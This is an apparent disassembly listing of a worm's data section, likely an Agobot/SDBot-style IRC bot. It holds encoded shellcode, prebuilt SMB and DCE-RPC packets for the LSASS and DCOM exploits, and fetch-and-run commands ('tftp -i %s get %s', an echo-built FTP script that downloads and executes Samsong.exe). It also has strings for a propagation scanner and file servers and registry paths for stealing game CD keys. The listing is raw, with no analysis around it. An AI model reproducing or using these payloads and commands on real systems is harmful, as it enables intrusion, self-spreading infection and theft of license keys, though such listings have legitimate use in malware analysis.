'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',0 dword_434D88 dd 7C54144Ch ; DATA XREF: .text:004018AEo dword_434D8C dd 77A1B496h, 77EDA1F0h, 77A1AFA9h, 41414141h, 77FCC662h ; DATA XREF: .text:00401898o aTftpFileTran_0 db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00401992o align 4 aSExploitingI_0 db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .text:004019DFo align 4 dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0 dword_434F28 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: sub_401B9B+156o ; sub_401B9B+212o dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh dword_434FD8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_401B9B+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4350C0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401FDA+76o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_43514C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FDA+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4351F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FDA+C9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dword_435230 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h db 0 byte_435249 db 3 dup(0) ; DATA XREF: .data:off_43E080o dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4352D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_2: ; DATA XREF: sub_401B9B+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_43533C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+2AAo ; .data:004439C8o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4353A8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43544C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4354CC dd offset loc_401495 ; DATA XREF: sub_401B9B+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_435560 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4355CC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401B9B+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_435640 dd 0 ; DATA XREF: sub_401B9B+35Fo dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 2 dup(0) word_4356C8 dw 0AD9Dh ; DATA XREF: sub_401A3C+30r ; sub_401B9B+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_435708 dd 1004600h ; DATA XREF: sub_401B9B+140r ; sub_401B9B+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_401A3C+97o aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get Samsong.exe >> o' ; DATA XREF: sub_401A3C+BCo db ' &echo quit >> o &ftp -n -s:o &Samsong.exe',0Dh,0Ah,0 align 4 aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401A3C+100o align 4 dword_43584C dd 1CEC8166h ; DATA XREF: sub_401B9B+Dr dword_435850 dd 0E4FF07h ; DATA XREF: sub_401B9B+16r aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401B9B+27o align 10h dword_435860 dd 6EB06EBh, 0 ; DATA XREF: sub_401B9B+177o aSExploitingI_1 db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_401FDA+16Eo align 8 dword_435888 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: .text:00402313o ; .text:00402395o dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh dword_435938 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: .text:004022E5o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_435A20 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:004024B9o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_0 db 'LM1.2X002',0 dw 4C02h aAnman2_1_0 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_0 db ' LM 0.12',0 align 4 dword_435AAC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004024E5o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_435B58 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040250Co dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_435C38 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040223Co dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_3: ; DATA XREF: .text:0040226Eo unicode 0, <C$>,0 a?????_0 db '?????',0 dd 0 dword_435C9C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00402560o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_435D08 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040258Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_435DAC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004025C4o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_435E2C dd offset loc_401495 ; DATA XREF: .text:004025F2o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_435EC0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040261Fo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_435F2C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040264Ao dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_435FA0 dd 0 ; DATA XREF: .text:00402678o dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_436060 dd 1004600h ; DATA XREF: .text:0040234Fr ; .text:0040237Fr dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch dword_4360DC dd 1CEC8166h ; DATA XREF: .text:004021B2r dword_4360E0 dd 0E4FF07h ; DATA XREF: .text:004021BDr aSIpc_0 db '\\%s\ipc$',0 ; DATA XREF: .text:00402208o align 10h dword_4360F0 dd 6EB06EBh, 0 ; DATA XREF: .text:004023B6o aTftpISGetSSExi db 'tftp -i %s get %s&%s&exit',0Ah,0 ; DATA XREF: .text:00402783o align 4 aSTryingSploitI db '[%s]: Trying Sploit IP: %s.',0 ; DATA XREF: .text:004027EBo aAsn1smbnt db 'asn1smbnt',0 ; DATA XREF: sub_403076+164o aDcom135 db 'Dcom135',0 ; DATA XREF: sub_4013F1+2DDo ; .text:004019D3o ... align 4 dd 5 dup(0) dword_436158 dd 87h ; DATA XREF: sub_402853+1Er ; sub_40C50A+30BDr ... off_43615C dd offset sub_4013F1 ; DATA XREF: sub_403076+1E6r dword_436160 dd 0 ; DATA XREF: sub_4013F1+332w ; sub_4013F1+338r ... dword_436164 dd 1 ; DATA XREF: sub_402994+1Fr dword_436168 dd 1 ; DATA XREF: sub_402994:loc_402C05r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 4013F1h, 0 dd 2 dup(1), 6D6F6364h, 35323031h, 63440000h, 30316D6Fh dd 3532h, 5 dup(0) dd 401h, 4013F1h, 0 dd 2 dup(1), 6D6F6364h, 32h, 63440000h, 326D6Fh, 6 dup(0) dd 87h, 401790h, 0 dd 2 dup(1), 316E7361h, 626D73h, 736C0000h, 5F737361h dd 353434h, 5 dup(0) dd 1BDh, 401FDAh, 0 dd 2 dup(1), 73616364h, 73h, 63640000h, 737361h, 6 dup(0) dd 1BDh, 401737h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 1BDh, 401FDAh, 0 dd 2 dup(1), 0Fh dup(0) aLsass_139 db 'lsass_139',0 byte_43631A db 1 ; DATA XREF: sub_40C50A:loc_4113E4r ; sub_40C50A+4EE4o aDcom1025 db 'dcom1025',0 dd 63640100h, 737361h, 0 dd 61736C01h, 345F7373h, 1003534h, 6D6F6364h, 32h, 10000h dd 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_402853+11o aSD db ' %s: %d,',0 ; DATA XREF: sub_402853+42o align 4 aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_402853+81o align 10h aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_40291D+2Co aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_40291D+42o align 4 aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_402994+DBo align 10h aTftpFailedToSt db '[TFTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_402994+149o align 10h aFtpServerStart db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_402994+1FAo align 4 aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_402994+267o aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0 ; DATA XREF: sub_402994+307o aHttpdFailedToS db '[HTTPD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_402994+36Fo align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402D70+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:00402F9Eo align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:00402FD5o aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040302Fo align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:00403054o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_403064o align 4 aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_403076+93o aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_403076+EBo align 4 aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0 ; DATA XREF: sub_40328A+87o align 4 aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_40328A+103o aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_40328A+173o aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: sub_40328A+1CEo align 4 aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_403569+10o align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_403569+35o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4035E1+60o align 4 aLogs db '-[Logs]-',0 ; DATA XREF: .text:0040369Do align 4 aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40371E+20o align 4 aLogsCleared__0 db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40371E:loc_403753o align 10h aLogBegin db '[LOG]: Begin',0 ; DATA XREF: sub_403791+3Fo align 10h aLogListComplet db '[LOG]: List complete.',0 ; DATA XREF: sub_403791+DCo align 4 dword_4368C8 dd 78h ; DATA XREF: sub_403930+Ar align 10h dword_4368D0 dd 80000002h, 43E294h, 80000002h, 43E2C4h, 80000001h, 43E2FCh ; DATA XREF: sub_4038C0+7o aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4038C0+63o ; sub_403948+11o aWindow db 'Window',0 ; DATA XREF: sub_403B83+23o align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_403D7C+26o align 10h dd 80000001h off_436904 dd offset aSoftwareValveC ; DATA XREF: sub_403FBB+Cr ; sub_403FBB+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436910 dd 2 dup(0) ; DATA XREF: sub_403FBB+26o dd 80000001h, 436D80h, 436DA8h, 436DB4h, 2 dup(0) dd 80000001h, 436DC4h, 436DE4h, 436DE8h, 2 dup(0) dd 80000001h, 436DFCh, 436E20h, 436E24h, 2 dup(0) dd 80000001h, 436E30h, 436E54h, 436E5Ch, 2 dup(0) dd 80000001h, 436E70h, 436E84h, 436E94h, 2 dup(0) dd 80000001h, 436EB0h, 436EF4h, 436EFCh, 2 dup(0) dd 80000002h, 436F10h, 436F3Ch, 436F48h, 2 dup(0) dd 80000002h, 436F68h, 436F9Ch, 436FA4h, 2 dup(0) dd 80000002h, 436FBCh, 436FF0h, 436FF8h, 2 dup(0) dd 80000002h, 437010h, 437028h, 437030h, 2 dup(0) dd 80000002h, 437048h, 449C80h, 437084h, 2 dup(0) dd 80000002h, 437094h, 449C84h, 4370CCh, 2 dup(0) dd 80000002h, 4370E0h, 449C88h, 43712Ch, 2 dup(0) dd 80000002h, 43714Ch, 449C8Ch, 43719Ch, 2 dup(0) dd 80000002h, 4371C8h, 449C90h, 437204h, 2 dup(0) dd 80000002h, 437218h, 449C94h, 437250h, 2 dup(0) dd 80000002h, 437260h, 449C98h, 4372B0h, 2 dup(0) dd 80000002h, 4372DCh, 449C9Ch, 43731Ch, 2 dup(0) dd 80000002h, 437338h, 449CA0h, 437368h, 2 dup(0) dd 80000002h, 437388h, 449CA4h, 4373C4h, 2 dup(0) dd 80000002h, 4373D8h, 449CA8h, 437420h, 2 dup(0) dd 80000002h, 437440h, 449CACh, 437494h, 2 dup(0) dd 80000002h, 4374C4h, 449CB0h, 437514h, 2 dup(0) dd 80000002h, 437540h, 437580h, 437588h, 2 dup(0) dd 80000002h, 4375A8h, 449CB4h, 4375ECh, 2 dup(0) dd 80000002h, 437608h, 449CB8h, 437654h, 2 dup(0) dd 80000002h, 437678h, 449CBCh, 4376ACh, 2 dup(0) dd 80000002h, 4376B8h, 449CC0h, 4376ECh, 2 dup(0) dd 80000002h, 4376F8h, 449CC4h, 43772Ch, 2 dup(0) dd 80000002h, 437738h, 449CC8h, 43776Ch, 2 dup(0) dd 80000002h, 437778h, 449CCCh, 4377B4h, 2 dup(0) dd 80000002h, 4377C8h, 449CD0h, 437804h, 2 dup(0) dd 80000002h, 437818h, 437848h, 437850h, 2 dup(0) dd 80000002h, 43786Ch, 43788Ch, 437894h, 2 dup(0) dd 80000002h, 4378B8h, 4378D4h, 4378DCh, 2 dup(0) dd 80000002h, 4378FCh, 43791Ch, 437924h, 2 dup(0) dd 80000002h, 437948h, 437960h, 437968h, 2 dup(0) dd 80000002h, 43796Ch, 437988h, 437998h, 2 dup(0) dd 80000002h, 4379A0h, 4379D4h, 4379D8h, 2 dup(0) dd 80000002h, 4379F0h, 437A2Ch, 437A38h, 437A60h, 437A70h dd 80000002h, 437A84h, 437AA8h, 437AB4h, 437AC8h, 437AD8h dd 80000002h, 437AE0h, 437B04h, 437B10h, 437B3Ch, 437B4Ch dd 80000002h, 437B54h, 437B78h, 437B84h, 437BB4h, 437BC4h dd 6 dup(0) aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_436904o align 10h aCdkey db 'CDKey',0 ; DATA XREF: .data:00436908o align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0043690Co 